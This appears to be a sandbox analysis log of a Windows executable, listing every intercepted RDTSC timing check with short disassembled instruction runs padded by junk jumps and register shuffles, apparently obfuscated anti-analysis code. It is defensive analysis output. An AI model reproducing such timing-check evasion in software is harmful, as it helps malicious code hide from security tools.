Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E03F9 second address: 54E03FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E03FD second address: 54E0403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0403 second address: 54E0428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 mov edx, ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0428 second address: 54E0523 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov di, B342h 0x0000000f pushfd 0x00000010 jmp 00007F711D40AC63h 0x00000015 and cx, AA3Eh 0x0000001a jmp 00007F711D40AC69h 0x0000001f popfd 0x00000020 popad 0x00000021 nop 0x00000022 jmp 00007F711D40AC5Eh 0x00000027 lea eax, dword ptr [ebp-10h] 0x0000002a pushad 0x0000002b mov di, ax 0x0000002e pushfd 0x0000002f jmp 00007F711D40AC5Ah 0x00000034 sub cx, 3668h 0x00000039 jmp 00007F711D40AC5Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov dword ptr fs:[00000000h], eax 0x00000046 pushad 0x00000047 movzx eax, di 0x0000004a popad 0x0000004b mov dword ptr [ebp-18h], esp 0x0000004e pushad 0x0000004f mov cx, 334Fh 0x00000053 mov dx, ax 0x00000056 popad 0x00000057 mov eax, dword ptr fs:[00000018h] 0x0000005d jmp 00007F711D40AC5Eh 0x00000062 mov ecx, dword ptr [eax+00000FDCh] 0x00000068 jmp 00007F711D40AC60h 0x0000006d test ecx, ecx 0x0000006f jmp 00007F711D40AC60h 0x00000074 jns 00007F711D40AC94h 0x0000007a jmp 00007F711D40AC60h 0x0000007f add eax, ecx 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 push edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0523 second address: 54E0527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0527 second address: 54E052B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E052B second address: 54E0531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D001B second address: 54D005B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f mov dh, ch 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F711D40AC67h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D005B second address: 54D0157 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F711CDAA07Ch 0x00000011 sub cx, 44A8h 0x00000016 jmp 00007F711CDAA07Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d mov dl, 17h 0x0000001f pop eax 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 jmp 00007F711CDAA087h 0x00000028 sub esp, 2Ch 0x0000002b jmp 00007F711CDAA086h 0x00000030 xchg eax, ebx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F711CDAA07Eh 0x00000038 and ch, FFFFFF98h 0x0000003b jmp 00007F711CDAA07Bh 0x00000040 popfd 0x00000041 call 00007F711CDAA088h 0x00000046 mov ax, 87D1h 0x0000004a pop ecx 0x0000004b popad 0x0000004c push eax 0x0000004d pushad 0x0000004e push eax 0x0000004f pushfd 0x00000050 jmp 00007F711CDAA089h 0x00000055 and ax, 8396h 0x0000005a jmp 00007F711CDAA081h 0x0000005f popfd 0x00000060 pop eax 0x00000061 mov bh, 7Dh 0x00000063 popad 0x00000064 xchg eax, ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F711CDAA07Fh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0157 second address: 54D015D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D015D second address: 54D0161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0194 second address: 54D0198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0198 second address: 54D019E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D019E second address: 54D01E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 2BCB6D53h 0x00000008 pushfd 0x00000009 jmp 00007F711D40AC68h 0x0000000e and eax, 48A1BAD8h 0x00000014 jmp 00007F711D40AC5Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d sub ebx, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 pop edi 0x00000024 jmp 00007F711D40AC5Ch 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01E8 second address: 54D01EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01EF second address: 54D0241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edi, 00000000h 0x0000000c pushad 0x0000000d mov di, ax 0x00000010 call 00007F711D40AC60h 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 popad 0x00000019 inc ebx 0x0000001a jmp 00007F711D40AC67h 0x0000001f test al, al 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F711D40AC60h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0241 second address: 54D0250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0250 second address: 54D02F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F711D40AC62h 0x00000009 and ax, 3388h 0x0000000e jmp 00007F711D40AC5Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F711D40AF1Fh 0x0000001d pushad 0x0000001e call 00007F711D40AC64h 0x00000023 pushad 0x00000024 popad 0x00000025 pop ecx 0x00000026 push edx 0x00000027 call 00007F711D40AC5Ch 0x0000002c pop eax 0x0000002d pop edi 0x0000002e popad 0x0000002f lea ecx, dword ptr [ebp-14h] 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F711D40AC63h 0x0000003b sbb ah, FFFFFFDEh 0x0000003e jmp 00007F711D40AC69h 0x00000043 popfd 0x00000044 call 00007F711D40AC60h 0x00000049 pop ecx 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D02F1 second address: 54D02F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D02F7 second address: 54D02FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0360 second address: 54D0364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0364 second address: 54D036A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D036A second address: 54D03B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov cx, bx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007F711CDAA083h 0x00000016 sub ch, 0000006Eh 0x00000019 jmp 00007F711CDAA089h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D03B8 second address: 54D03F8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F711D40AC60h 0x00000008 add eax, 5401E8E8h 0x0000000e jmp 00007F711D40AC5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F711D40AC65h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0444 second address: 54D0448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0448 second address: 54D045C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D045C second address: 54D0462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0462 second address: 54D047C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov ebx, eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D047C second address: 54D04A9 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edi, esi 0x00000008 popad 0x00000009 jg 00007F718D37807Dh 0x0000000f pushad 0x00000010 mov dx, cx 0x00000013 mov dx, si 0x00000016 popad 0x00000017 js 00007F711CDAA126h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 call 00007F711CDAA07Ch 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D04A9 second address: 54D04F5 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F711D40AC67h 0x0000000c sub esi, 00B49BBEh 0x00000012 jmp 00007F711D40AC69h 0x00000017 popfd 0x00000018 popad 0x00000019 cmp dword ptr [ebp-14h], edi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 mov dx, E7CCh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D04F5 second address: 54D055B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F718D378006h 0x0000000f pushad 0x00000010 mov cl, 9Dh 0x00000012 pushfd 0x00000013 jmp 00007F711CDAA083h 0x00000018 sub ecx, 3E703B2Eh 0x0000001e jmp 00007F711CDAA089h 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebx, dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F711CDAA07Dh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D055B second address: 54D05B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c jmp 00007F711D40AC5Eh 0x00000011 xchg eax, esi 0x00000012 jmp 00007F711D40AC60h 0x00000017 push eax 0x00000018 jmp 00007F711D40AC5Bh 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F711D40AC65h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05B6 second address: 54D05E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F711CDAA088h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05E8 second address: 54D05EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05EE second address: 54D05F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05F4 second address: 54D05F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D05F8 second address: 54D0628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F711CDAA07Fh 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F711CDAA085h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0628 second address: 54D0688 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F711D40AC67h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F711D40AC69h 0x0000000f or esi, 7C858D06h 0x00000015 jmp 00007F711D40AC61h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F711D40AC5Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0705 second address: 54D070A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D070A second address: 54D0754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F711D40AC67h 0x00000009 add ax, 71BEh 0x0000000e jmp 00007F711D40AC69h 0x00000013 popfd 0x00000014 mov ecx, 7D793307h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov esi, eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0754 second address: 54D075A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D075A second address: 54D07A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F711D40AC63h 0x00000009 sbb si, 0C7Eh 0x0000000e jmp 00007F711D40AC69h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test esi, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F711D40AC5Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0DAC second address: 54C0DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0DB0 second address: 54C0DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0DB6 second address: 54C0DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711CDAA083h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0DCD second address: 54C0DDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov cl, dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0DDB second address: 54C0E23 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F711CDAA07Ah 0x00000008 jmp 00007F711CDAA085h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebx, ecx 0x00000012 popad 0x00000013 mov dword ptr [ebp-04h], 55534552h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F711CDAA086h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E5D second address: 54C0E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E63 second address: 54C0E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E67 second address: 54D0BF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ret 0x0000000c nop 0x0000000d and bl, 00000001h 0x00000010 movzx eax, bl 0x00000013 lea esp, dword ptr [ebp-0Ch] 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 pop ebp 0x0000001a ret 0x0000001b add esp, 04h 0x0000001e jmp dword ptr [00D6A41Ch+ebx*4] 0x00000025 push edi 0x00000026 call 00007F711D430657h 0x0000002b push ebp 0x0000002c push ebx 0x0000002d push edi 0x0000002e push esi 0x0000002f sub esp, 000001D0h 0x00000035 mov dword ptr [esp+000001B4h], 00D6CB10h 0x00000040 mov dword ptr [esp+000001B0h], 000000D0h 0x0000004b mov dword ptr [esp], 00000000h 0x00000052 mov eax, dword ptr [00D681DCh] 0x00000057 call eax 0x00000059 mov edi, edi 0x0000005b pushad 0x0000005c mov bl, ah 0x0000005e pushad 0x0000005f pushad 0x00000060 popad 0x00000061 mov ecx, edi 0x00000063 popad 0x00000064 popad 0x00000065 push ebx 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0BF2 second address: 54D0BF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0BF6 second address: 54D0BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0BFC second address: 54D0C3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA088h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, bx 0x00000012 jmp 00007F711CDAA089h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C3B second address: 54D0C58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C58 second address: 54D0C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C5C second address: 54D0C62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C62 second address: 54D0C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711CDAA081h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0C77 second address: 54D0C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0CD0 second address: 54D0CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0CD4 second address: 54D0CF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0CF1 second address: 54D0D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F711CDAA07Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0DFD second address: 54D0E03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F082D second address: 54F0833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0833 second address: 54F08A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F711D40AC5Bh 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov dx, si 0x00000016 mov cx, A257h 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d jmp 00007F711D40AC5Ah 0x00000022 xchg eax, esi 0x00000023 jmp 00007F711D40AC60h 0x00000028 push eax 0x00000029 pushad 0x0000002a pushad 0x0000002b movsx ebx, cx 0x0000002e popad 0x0000002f mov al, B7h 0x00000031 popad 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F711D40AC69h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08A6 second address: 54F08AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08AA second address: 54F08B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08B0 second address: 54F08B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08B6 second address: 54F08F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F711D40AC62h 0x00000010 test esi, esi 0x00000012 jmp 00007F711D40AC60h 0x00000017 je 00007F718D9A8728h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08F0 second address: 54F08F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F08F8 second address: 54F0923 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov di, 468Eh 0x00000017 mov si, bx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0923 second address: 54F0929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0929 second address: 54F092D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F092D second address: 54F0971 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F718D35FBD0h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F711CDAA088h 0x0000001a xor si, AC38h 0x0000001f jmp 00007F711CDAA07Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F09FA second address: 54F0A00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0A00 second address: 54F0A1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F711CDAA080h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0A1D second address: 54F0A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
